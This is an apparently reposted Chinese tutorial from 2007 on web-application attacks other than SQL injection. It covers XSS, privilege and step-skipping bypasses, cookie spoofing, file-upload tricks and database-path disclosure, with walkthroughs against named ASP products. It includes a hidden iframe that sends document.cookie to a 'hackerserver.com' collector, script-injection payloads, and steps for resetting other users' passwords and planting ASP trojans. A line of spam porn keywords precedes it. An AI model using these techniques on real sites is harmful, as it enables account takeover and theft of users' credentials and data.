欧美bbbwbbbw肥妇,免费乱码人妻系列日韩,一级黄片

網(wǎng)站程序中非SI漏洞的利用

 更新時間:2007年01月16日 00:00:00   作者:  
Part I 前言 
現(xiàn)在網(wǎng)上最流行的網(wǎng)站攻擊手段,要數(shù)得上SQL Injection了,雖然SI技術(shù)易學易用,并且容易取得較大的權(quán)限,但因其風頭實在太大,現(xiàn)在一般稍有點安全意識的程序員都會注意到這個問題,并且通過GET方法提交的數(shù)據(jù)會被服務(wù)器記錄在案,而讓網(wǎng)管很容易找到入侵者。 
非SI類攻擊相對來說獲得的服務(wù)器操作權(quán)限不大,但對于以獲得數(shù)據(jù)為目的的入侵還是很有用的。 
Part II 方法介紹 
常規(guī)的非SI類攻擊有如下幾種: 
一、 跨站腳本攻擊(XSS) 
跨站腳本攻擊不會直接對網(wǎng)站服務(wù)器造成破壞,其主要的攻擊對象是網(wǎng)站的訪問者,這里入侵者大致有三種目的: 
一是對網(wǎng)站頁面瀏覽者進行侵害:如在網(wǎng)站頁面中加入自動下載的代碼,或者利用像IE Frame漏洞等向瀏覽者植入木馬,或者劫持瀏覽器等。 
二是盜取瀏覽者的cookies。入侵者可以在自己的網(wǎng)站上建立一個可以接受并保存信息的頁面,并在被入侵網(wǎng)站的頁面上加入一個長寬都為0的隱藏iframe,地址為:http://hackerserver.com/get.asp?info=document.cookies,服務(wù)器端的get.asp頁面接受info信息并保存在數(shù)據(jù)庫中,這樣入侵者就可以獲得瀏覽者在被入侵網(wǎng)站上的cookies信息了。如果盜取的是一般用戶的密碼,危害還不算很大,但是如果入侵者利用社會工程學,讓登陸后并且密碼保存在cookies中的管理員訪問頁面,就可以盜取管理員的密碼,從而進一步控制網(wǎng)站。 
三是利用大量的訪客請求來重復某一操作。前一陣某商務(wù)網(wǎng)站消息說國內(nèi)某著名搜索引擎在其搜索聯(lián)盟中加入隱藏的iframe訪問該商務(wù)網(wǎng)站,對其進行DDOS攻擊導致其服務(wù)器負荷過大。且不說這個事情是真是假,但是這種思路是我們應該注意的。2004年11期《黑客X檔案》上有一篇名為《玩轉(zhuǎn)X樹下》的文章(第62頁),作者利用跨站腳本攻擊在頁面中插入了發(fā)帖的代碼,巨大的訪問量使垃圾帖數(shù)目暴漲,最后服務(wù)器不堪重負幾近崩潰。 
跨站攻擊的手段看似簡單,只需在提交的內(nèi)容(如留言,評論)中加入危險的代碼即可,但如何繞過程序?qū)Ψ欠ㄗ址倪^濾,則是一件很復雜的事情。常用的手段有:變更大小寫、轉(zhuǎn)換為ASII碼或轉(zhuǎn)義符、調(diào)用遠程js腳本文件等腳本的變形和隱藏方法、使用Flash的Geturl參數(shù)等等。 
小訣竅 
1、如何對付表單的檢測。 
有些網(wǎng)站為了防止跨站腳本攻擊,在其表單中加入一些Javascript代碼來檢測文本框的值,如不合法就彈出對話框提示,并禁止提交,但是這種只在客戶端作的限制相當于什么限制都沒作,我們可以把網(wǎng)頁保存到本地,去掉相應的檢測的JS代碼,再修改網(wǎng)頁中form的action屬性,使其指向網(wǎng)站,再提交,如果網(wǎng)站沒有在服務(wù)器端再次作驗證的話,就會被入侵。(河北省高中生信息技術(shù)會考程序就存在此漏洞。) 
2、關(guān)于UBB。 
UBB代碼是一些程序為了在限制html代碼的同時不致使提交的信息過于單調(diào)而運用的一種手段,其方法就是讓用戶使用一些特定的標簽,然后在服務(wù)器端轉(zhuǎn)換這些標簽,但是如果轉(zhuǎn)換的語句沒有寫好的話仍然會造成危險。(我們會在后面的實例中進一步展示繞過UBB的方法。) 
下面請跟我用實例來體會一下: 
實例1-1:無過濾的腳本插入 
這是動感商城某一個版本的“客戶反饋”功能,是一個名為fk.asp的自提交頁面,其中將數(shù)據(jù)存儲至數(shù)據(jù)庫的代碼是這樣的。 

rs.addnew 
rs(\\"fksubject\\")=checkFFSQLStr(trim(request(\\"fksubject\\"))) 
rs(\\"fkleixing\\")=checkFFSQLStr(request(\\"fkleixing\\")) 
rs(\\"fkcontent\\")=checkFFSQLStr(trim(request(\\"fkcontent\\")))   ‘看,沒有進行危險字符過濾 
rs(\\"fkusername\\")=checkFFSQLStr(trim(request(\\"fkusername\\"))) 
rs(\\"fkemail\\")=checkFFSQLStr(trim(request(\\"fkemail\\"))) 
rs(\\"fktel\\")=checkFFSQLStr(trim(request(\\"fktel\\"))) 
rs(\\"fklaizi\\")=checkFFSQLStr(trim(request(\\"fklaizi\\"))) 
rs(\\"fkdate\\")=now 
rs(\\"fkip\\")=Request.ServerVariables(\\"remote_addr\\") 
rs.update 
rs.close 
我們不難發(fā)現(xiàn),程序在把數(shù)據(jù)存進數(shù)據(jù)庫之前只對是否有能構(gòu)成SI的字符進行了過濾(這個過濾恰恰是沒有必要的,因為參數(shù)不引入查詢條件)而對危險字符如script等沒有進行過濾,顯示留言的頁面lyb.asp也沒有先過濾再顯示。如果我們在留言中提交<script>alert(document.cookie)</script>,就可以彈出用戶的cookies信息。(如圖一) 
實例1-2:過濾不好的UBB的腳本插入 
某著名Blog程序的UBB轉(zhuǎn)換頁面ubbcode.asp其中轉(zhuǎn)換危險字符的一個片斷如下: 


Str = Replace(Str, \\"script\\", \\"script\\") 
Str = Replace(Str, \\"SCRIPT\\", \\"SCRIPT\\") 
Str = Replace(Str, \\"Script\\", \\"Script\\") 
Str = Replace(Str, \\"script\\", \\"Script\\") 
我們可以提交sCRipt這樣的字符來繞過此限制,譬如提交信息 

[ img ]javascript:window.close()[ /img ](去掉空格) 
可以關(guān)閉窗口。 

二、越權(quán)攻擊 
越權(quán)攻擊是由于程序員對頁面的訪問權(quán)的檢測不完善而造成的使入侵者不需得到用戶或管理員的密碼即可訪問只有特定用戶或管理員才能訪問的頁面的一種漏洞。 
這種越權(quán)讓我想到了很久很久以前(大約2000年以前),流行的“聊天室踢人大法”,就是利用訪問某些對用戶的權(quán)限檢測不完善的聊天室程序的負責踢人的頁面來達到任意踢人的目的。 
不過這種越管理員權(quán)限的漏洞通常比較隱蔽,尤其是對非開源的程序,大多只能憑經(jīng)驗來猜。再看一個越普通用戶權(quán)限的例子:某程序的修改用戶資料的頁面通過獲取GET的參數(shù)引入程序進行處理,顯示相關(guān)數(shù)據(jù),如:http://targetzone.com/edituser.asp?userid=Daniel,這本來是修改用戶Daniel的資料,但是如果程序沒有加別的驗證,我們就可以通過修改參數(shù)的值來修改任意用戶的資料,如提交http://targetzone.com/edituser.asp?userid=Kitty來修改Kitty用戶的資料。 
程序員在制作此類程序是應該驗證session來判斷用戶是否登陸,并且應該從session中獲取當前登陸的用戶名,其余如Get,cookies等數(shù)據(jù)都是不可信的。 
再一種越權(quán),我們可以稱之為“越步越權(quán)”,這類漏洞是針對于某些需要N個步驟完成的過程,第X步?jīng)]有檢測是否完成了X-1步而使攻擊者可以跳過前X-1步。這種漏洞常出現(xiàn)在找回密碼的程序中,最后驗證完畢修改密碼的頁面只是把要修改的用戶名以隱藏域的方式放在了網(wǎng)頁中,但是下一步?jīng)]有進行相關(guān)檢測導致可以修改任意用戶的密碼。 
小訣竅 
1、隱藏域的利用。 
許多程序員喜歡使用表單隱藏域而并非session在程序中傳遞一些步驟中出現(xiàn)的參數(shù),對于某些非敏感數(shù)據(jù)來說,這樣可以節(jié)省一定的服務(wù)器資源,但是對于一些敏感數(shù)據(jù)來說,這是十分危險的,因為用戶雖然在網(wǎng)頁上看不到隱藏域,但是用戶可以查看源代碼來找到隱藏域,并且可以通過把網(wǎng)頁保存到本地并且修改隱藏域的值來達到越權(quán)的目的。 
好的,我們來看幾個實例: 
實例2-1:某版本動感商城找回用戶密碼的越步漏洞 
動感商城的這個版本漏洞很多,其找回密碼的部分分為4個頁面,getpwd.asp~getpwd4.asp,分別對應填寫用戶名、填寫提示密碼答案、重新設(shè)置密碼、將新的密碼更新至數(shù)據(jù)庫的操作。其中g(shù)etpwd4.asp的部分代碼是這么寫的。 


<%username=request(\\"username\\") 
passwd=md5(trim(request.form(\\"passwd\\"))) 
set rs=Server.CreateObject(\\"Adodb.Recordset\\") 
sql=\\"select * from [user] where username='\\"&username&\\"'\\" 
rs.open sql,conn,1,3 
If rs.eof Then 
%> 
<script language=\\"javascript\\"> 
alert(\\"這個用戶還沒有注冊呢,請到首頁注冊吧!\\") 
location.href=\\"javascript :history.back()\\" 
</script> 
<% 
else 
rs(\\"userpassword\\")=passwd 
rs.update 
end if 
rs.close 
set rs=nothing 
conn.close    
set conn=nothing%>……… 
可以發(fā)現(xiàn)第一行沒有檢測requect來得數(shù)據(jù)到底是不是填寫了相關(guān)信息。 
假設(shè)我們由于某種原因要盜取用戶Kitty的密碼:我們可以這樣做:先注冊一個新用戶Daniel,并記下所填寫的提示問題答案,然后去找回密碼,直到getpwd3.asp這個頁面,把此頁面保存至本地,用記事本打開頁面,把form的action屬性值中的Daniel改為Kitty,并把網(wǎng)址補充完整,然后在本地打開此頁面,填寫密碼并提交就可以修改Kitty的密碼為你剛才在這個頁面填寫的密碼。 
實例2-2:九酷網(wǎng)絡(luò)個人主頁空間管理系統(tǒng)3.0的越權(quán)漏洞: 
程序中檢測是否登陸是通過在頁面include文件chkuser.asp來實現(xiàn)的 


<%if session(\\"user_userid\\")=\\"\\" or session(\\"user_username\\")=\\"\\" then ‘漏洞原因 
Response.write\\"<script>alert('對不起,您還沒有登錄或登錄出錯!');top.location.href='index.asp'</script>\\" 
response.End 
end if    
%> 
可以看到,這個文件只檢查了session是否為空,而沒有檢查到底的操作是否是當前所登錄用戶的!所以這個程序存在多處越權(quán)漏洞,先看越用戶修改資料的漏洞:登陸后可以看到界面分為上、左、右三個框架。頂部的框架主要是幾個導航的連接,按住shift點”修改個人資料”,使其在新窗口打開,地址為:http://127.0.0.1/edituser.asp?userid=39&username=Daniel,不難看出,地址中的username參數(shù)的值就是當前用戶名,那么我們把它改一下試試……打開頁面http://127.0.0.1/edituser.asp?userid=39&username=Kitty,Bingo!網(wǎng)頁上顯示出我們注冊Kitty用戶時填寫的資料!隨便改改吧……這里我們可以修改它的密碼提示問題和答案,然后再通過“忘記密碼”功能修改該用戶的密碼。再來看顯示并修改任意用戶文件的漏洞。經(jīng)檢測,負責顯示文件列表的頁面是http://127.0.0.1/main.asp?userid=39&username=Daniel&path=Daniel,我們可以通過修改path的值這里對服務(wù)器上的文件進行瀏覽,上傳,刪除,改名等操作。 
實例2-3:LB5000修改注冊聲明的漏洞 
由于雷傲的LB5000的setregmsg.cgi和setregrules.cgi兩個文件存在越權(quán)漏洞,導致攻擊者可以直接修改論壇“注冊聲明”和“短消息歡迎信息” 。提交如下請求可以修改“注冊聲明”:http://www.targetzome.com/ cgi-bin/setregrules.cgi?action=process&therules=要修改的內(nèi)容。我們可以通過這個寫入一些跨站的代碼。 
三、cookies欺騙 
什么是cookies呢, Cookies是一個儲存于瀏覽器目錄中的文本文件,記錄你訪問一個特定站點的信息,且只能被創(chuàng)建這個cookies的站點讀回,約由255個字符組成,僅占4KB硬盤空間。當用戶正在瀏覽某站點時,它儲存于客戶機的內(nèi)存中,退出瀏覽器后,它儲存于用戶的硬盤中。儲存在Cookies中的大部分信息是普通的,如當你瀏覽一個站點時,此文件記錄了每一次的擊鍵信息和被訪站點的地址等。但是許多Web站點使用Cookies來儲存針對私人的數(shù)據(jù),如:注冊口令、用戶名、信用卡編號等。 
Cookies欺騙是在客戶端對網(wǎng)站要讀取的cookies修改成我們想偽裝的值而對程序進行欺騙,讓其誤認為我們是已登陸的用戶從而達到某種目的,可以說,這也是越權(quán)的一種方法。 
我們還是說有些程序員對風險估計不足,對于客戶端過于信任,把本應該存儲在session中的敏感信息存儲在了cookies中導致了這種漏洞,所以這種漏洞相對來說也是比較隱蔽的。 
進行這種攻擊的一般思路是得到合法的cookies->使用工具修改cookies->訪問限制頁面,越權(quán)成功。 
假設(shè)我們在站點http://targetzone.com上有一個合法帳號Daniel,現(xiàn)在我們想用用戶Kitty的身份登陸,但是我們沒有Kitty的密碼(廢話,否則還攻擊什么……),我們試試用cookies欺騙的方法達到目的: 
以Daniel的身份登陸targetzone.com并且選擇保存登陸資料,關(guān)閉瀏覽器,使用IECookiesView這個軟件打開本機的Cookies信息,選擇站點targetzone.com,修改username的值為Kitty,再次訪問網(wǎng)站,發(fā)現(xiàn)我們已經(jīng)以Kitty的身份登陸了。 
但是這種攻擊也是有一個比較大的硬傷的,且不說網(wǎng)站是否把信息保存在cookies中,單說有的網(wǎng)站把用戶名和密碼一起保存在cookies中,每次訪問的時候先根據(jù)用戶名和密碼進行檢測,然后再判斷是否合法。所以說這種漏洞其實單獨使用并不是非常有效,但是配合其他的入侵就好用多了,譬如下載了某站點的數(shù)據(jù)庫,但是其中的密碼都是MD5加密的,除非暴力破解出MD5散列的值,否則無法在網(wǎng)站上登陸,不過如果網(wǎng)站是把用戶名和MD5后的密碼保存在Cookies中,我們就可以應用了?;蛘呔W(wǎng)站防SI的措施比較嚴密,在url中找不到注入點,可以在cookies中找注入點等。還有的網(wǎng)站把用戶的權(quán)限保存在cookies中,也可以通過修改來達到提升權(quán)限的目的。 
實例3-1 某下載程序的欺騙漏洞: 
其處理登陸的代碼是這樣的: 


<%If Cookies(\\"down_Isadder\\")=\\"\\" then%> 
<script language=\\"Vbscript\\"> 
msgbox(\\"對不起,您沒有權(quán)限管理用戶!如果您是管理員,請登陸!\\") 
window.close() 
</script> 
<%Else%> 
………… 
真暈,只檢測了那個cookies是否為空,所以我們使用IECookiesView來把down_Isadder的值改為任意值(當然,除了空值)都可以登陸管理。 
實例3-2:L-blog的cookie越權(quán)上傳欺騙漏洞: 
最近這個漏洞真是毀掉包括不少黑客在內(nèi)的WebLog啊。L-Blog的提取cookies的文件存在邏輯漏洞使得任意用戶可以跨越至管理員的權(quán)限上傳文件。 
文件attachment.asp的部分代碼: 
IF memStatus="SupAdmin" OR memStatus="Admin" Then 
IF Request.QueryString("action")="upload" Then 
可以看到,程序檢測SupAdmin的值是不是管理員所對應的值,如果是就允許上傳,而并未檢測登陸的用戶是誰。再看驗證cookies的程序command.asp,檢測如果memName(cookies中取得的用戶名)為空,則不進行任何操作。如果不為空,則驗證保存的用戶名和密碼是否正確,不正確清空cookies。這里就為我們留下了一個漏洞,如果cookies中的用戶名的值(memName)為空,而用戶權(quán)限(memStatus)的值不為空,這樣command.asp文件就不驗證用戶名和密碼,但是上傳頁面檢測到memStatus是管理員的,就可以上傳了。 
我們可以先注冊普通用戶,登陸并保存cookies,修改cookies使memName的值為空,memStatus的值為SupAdmin或者Admin,然后就可以上傳了。 
但是只能上傳某幾種文件,我們是不能上傳Asp木馬的,怎么辦呢……我們再來看看如何傳asp木馬。 
四、非法上傳漏洞 
以合法致非法,我們先來說兩個簡單的不算漏洞的漏洞。 
一些程序限制了如asp,asa等擴展名是不能上傳的,但是我們看看IIS的設(shè)置,發(fā)現(xiàn)還有一些擴展名是由asp.dll解釋的,如cer所以如果某些程序不允許上傳asp文件,我們可以把木馬的擴展名改為cer,然后再上傳,這時如果服務(wù)器沒有把cer的解析去掉的話,我們就可以運行木馬了。還有一些擴展名的文件,是可以執(zhí)行SSI(Server Side Include)指令的,如stm,上傳一個seeit.stm文件,內(nèi)容為” <!--#include file="conn.asp"-->”,然后訪問此文件,即可看到conn.asp文件的內(nèi)容。所以程序員在作上傳檢測的時候,應該設(shè)定什么樣子的文件允許上傳而并非什么樣的文件不能上傳。 
再說關(guān)于上傳程序的漏洞。 
前一陣子出現(xiàn)的動網(wǎng)論壇的上傳漏洞可謂風風雨雨啊,Daniel也用這個漏洞攻下了許多頑固肉雞,我們先就動網(wǎng)的上傳來分析: 
動網(wǎng)本來是不允許上傳asp等危險文件的,但是其上傳的處理有一定的漏洞導致程序獲取的參數(shù)有誤而使入侵者可以上傳任意文件。 
先看看提交上傳的一個頁面reg_upload.asp: 


<form name=\\"form\\" method=\\"post\\" action=\\"upfile.asp\\" enctype=\\"multipart/form-data\\" >  
<input type=\\"hidden\\" name=\\"filepath\\" value=\\"uploadFace\\">  
<input type=\\"hidden\\" name=\\"act\\" value=\\"upload\\">  
<input type=\\"file\\" name=\\"file1\\">  
<input type=\\"hidden\\" name=\\"fname\\">  
<input type=\\"submit\\" name=\\"Submit\\" value=\\"上傳\\" onclick=\\"fname.value=file1.value,parent.document.forms[0].Submit.disabled=true,  
parent.document.forms[0].Submit2.disabled=true;\\">  
</form> 
程序是提取file1表單和fname表單中的值來做判斷的.也就是說直接從頁面遞交要上傳的asp文件程序是會檢測出來的。不過我們可以自己構(gòu)造數(shù)據(jù)包并使用NC提交,達到越過檢測的目的。但是我們的主要問題是上傳后的文件一定要是asp格式的,雖然file1的值合法,但是最終達到保存的擴展名為asp的目的應該怎么辦呢? 
動網(wǎng)所用的無組件上傳類中有一句是這么寫的: 


filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&\\".\\"&fileExt 
這個filename為程序生成的保存的文件的文件名。在計算機中檢測字符串的關(guān)鍵就是看是否碰到''字符, 如果是,則認為字符串結(jié)束了.也就是說我們在構(gòu)造上傳文件保存路徑時,只要欺騙計算機,讓他認為類似"uploadfaceDaniel.asp" 這樣的路徑參數(shù)已經(jīng)結(jié)束了,就可以達到我們的目的了。 
這種漏洞的原理就分析到這里,現(xiàn)在很多上傳都存在這種漏洞,先抓包再手動提交實在太累了,Daniel建議大家使用網(wǎng)上的一些上傳漏洞利用工具來減輕負擔。 
再來看一個My動力3.51的漏洞。其上傳頁面Upfile_Soft.asp的部分代碼是這樣的: 


Fot i=0 to ubound(arrUpFileType) 
If fileEXT=trim(arrUpFileType(i)) then 
Enableupload=true 
因為My動力所采用的上傳類可以上傳多個文件,我們從上面的代碼可以看出,如果上傳多個文件時,第N-1個文件的擴展名不合法,而第N個文件的擴展名合法的話,是可以通過檢測的。所以我們只要自己構(gòu)造頁面,上傳兩個文件,并且第二個的擴展名是程序可以上傳的,就可以了。但是My動力系統(tǒng)是禁止表單外部提交的,如何繞過這個限制呢,請看-表單的攻防。 
小訣竅: 
1、利用數(shù)據(jù)庫的備份恢復功能把合法變非法。 
畢竟還是有許多系統(tǒng)不存在上傳的邏輯漏洞,那么我們怎么上傳腳本木馬呢。這個訣竅要求你能登陸后臺,并且網(wǎng)站系統(tǒng)有備份和恢復數(shù)據(jù)庫的功能?,F(xiàn)通過合法渠道把木馬改名為合法的擴展名上傳,然后在備份和恢復數(shù)據(jù)庫的頁面中,把上傳后的文件名寫在備份和恢復的路徑中,然后還原,由于程序是將數(shù)據(jù)庫以asp擴展名存放的,所以木馬也可以正常解析了。 
五、表單的攻防 
本文前面一些地方已經(jīng)提到了一些關(guān)于程序中表單的不安全因素,現(xiàn)在我們來總結(jié)一下。對于表單的攻擊,主要的思路就是把含有表單的頁面保存到本地,修改去掉相關(guān)限制,并且將其action提交地址補全為網(wǎng)站上的地址,然后再提交。 
所以不難看出,關(guān)于表單的一切,如果在服務(wù)器端不再次驗證的話,都是危險和不可信的。建議程序員在客戶端做表單合法性檢查的同時盡量在服務(wù)器端再次驗證并且在服務(wù)器端加相應的禁止外部提交的代碼。: 


<%server_v1=Cstr(Request.ServerVariables(\\"HTTP_REFERER\\")) 
server_v2=Cstr(Request.ServerVariables(\\"SERVER_NAME\\")) 
if mid(server_v1,8,len(server_v2))<>server_v2 then 
response.write \\"<br><br><center><table border=1 cellpadding=20 bordercolor=black bgcolor=#EEEEEE width=450>\\" 
response.write \\"<tr><td style='font:9pt Verdana'>\\" 
response.write \\"你提交的路徑有誤,禁止從站點外部提交數(shù)據(jù)請不要亂該參數(shù)!\\" 
response.write \\"</td></tr></table></center>\\" 
response.end 
end if%> 

我們來想想有哪些表單的限制:Js合法性檢查、隱藏域、不可修改(ReadOnly)域。 
不知道大家是否還記得ofstar論壇的論壇群組,采用一個readonly域顯示某一群組的成員,我們就可以把網(wǎng)頁下載下來,去掉readonly屬性,然后自己加上你想加入此論壇的會員,然后提交…… 
小訣竅: 
1、繞過禁止外部提交: 
可以自己寫一個socket程序來修改http_referer的值,但是這種方法比較麻煩,我介紹一種簡單的。 
這個訣竅要求你有上傳圖片的權(quán)限。IE打開圖片的時候,如果圖片中是html代碼的話,就像網(wǎng)頁一樣可以運行其代碼。這樣我們可以把構(gòu)造的頁面改擴展名為圖片,并且上傳,訪問這個頁面并且提交就是在服務(wù)器端提交了。(注意:這種方法在構(gòu)造頁面的時候一定要把諸如<html>那些基礎(chǔ)標簽都寫全。) 

實例5-1:九酷網(wǎng)絡(luò)個人主頁空間管理系統(tǒng)3.0的向任意目錄上傳漏洞: 
登陸后,點擊”上傳文件”按鈕,彈出一個網(wǎng)頁,里面可以設(shè)定上傳個數(shù),還有一個上傳目錄的文本框,但是不可以修改,在IE中將這個頁面另存,然后找到文件的第44行,代碼為: <LI>上傳到: <INPUT class=INPUT style="WIDTH: 200px" ReadOnly…我們把這個ReadOnly刪除,然后找到文件第37行,把form標簽的action屬性中的值補全(就是把網(wǎng)站地址加上) ,然后在本地打開這個頁面,此時”上傳倒”文本框已經(jīng)可以修改了,我們將其改為:../,選擇文件上傳,可以發(fā)現(xiàn),這個文件已經(jīng)傳到上一級目錄下了。 

六、暴庫、暴文件內(nèi)容的漏洞 
大家都聽說過%5c暴庫漏洞吧,就是對于操作數(shù)據(jù)庫的頁面把地址欄最靠近文件名的那個”/”改為”%5c”,如果滿足以下條件,就可以看見數(shù)據(jù)庫的路徑:一般的錯誤返回頁面是本地IE提供的,所以我們先得關(guān)了本地的錯誤頁面,具體在菜單項的‘工具->internet選項->高級->顯示友好信息';對方數(shù)據(jù)庫要是Access型;%5c的暴庫需要的是二級目錄,一級目錄無法成功;對方的頁面沒有容錯語句。原理比較復雜,請大家自己Google。 
有的程序員喜歡把include的頁面擴展名都寫成inc,并且許多教程也是這樣建議的,但是這樣使得程序存在一個大漏洞,由于inc默認不是由asp.dll解析的,所以是直接以文本的方式顯示,這樣如果別人就可以直接訪問你的數(shù)據(jù)庫定義的頁面(如conn.inc)來的知數(shù)據(jù)庫地址或SQL帳號密碼。 
有些網(wǎng)站為了防止軟件下載的盜鏈,對于下載軟件都是用一個頁面讀取,然后輸出流的方式傳送到客戶端,其文件名參數(shù)通常以GET方式附加在地址中,如http://targetzone.com/down.asp?path=Daniel.zip,我們先可以大概猜出其數(shù)據(jù)鏈接文件相對于軟件庫的位置,并且更改path參數(shù)的值,如果幸運的話,就可以下載到未經(jīng)asp.dll解析的數(shù)據(jù)鏈接文件了。 
Part III總結(jié)和后記 
時間已到清晨,太陽升起來了,陽光灑滿大地,花了大概3天的業(yè)余時間寫的這篇文章到這里基本上就結(jié)束了,但是我要強調(diào)的是,網(wǎng)站程序中非SI的漏洞遠不止于此,并且許多未知的邏輯漏洞還是未曾被發(fā)現(xiàn)的,本專題由于篇幅和時間的限制,僅對目前比較常用的一些手段作了簡單的介紹,希望Daniel能對大家起到拋磚引玉的作用,各位如果真正認真地研究一下網(wǎng)上一些程序的代碼,就可以發(fā)現(xiàn)許多未被別人發(fā)現(xiàn)的漏洞出現(xiàn)了。 
漏洞并不可怕,可怕的是程序員沒有一種嚴謹?shù)膽B(tài)度和完整、周全的思路。 
老編土豆曾問我怎么想到這個主題的,其實我只是對只會用NBSI亂注網(wǎng)站的菜鳥(包括我自己)的行為感到深深遺憾和擔憂,只會用工具的黑客不是黑客,我們一定要學會用自己的思想發(fā)現(xiàn)漏洞,修補漏洞,才能做到真正技術(shù)上的提高。 

相關(guān)文章

最新評論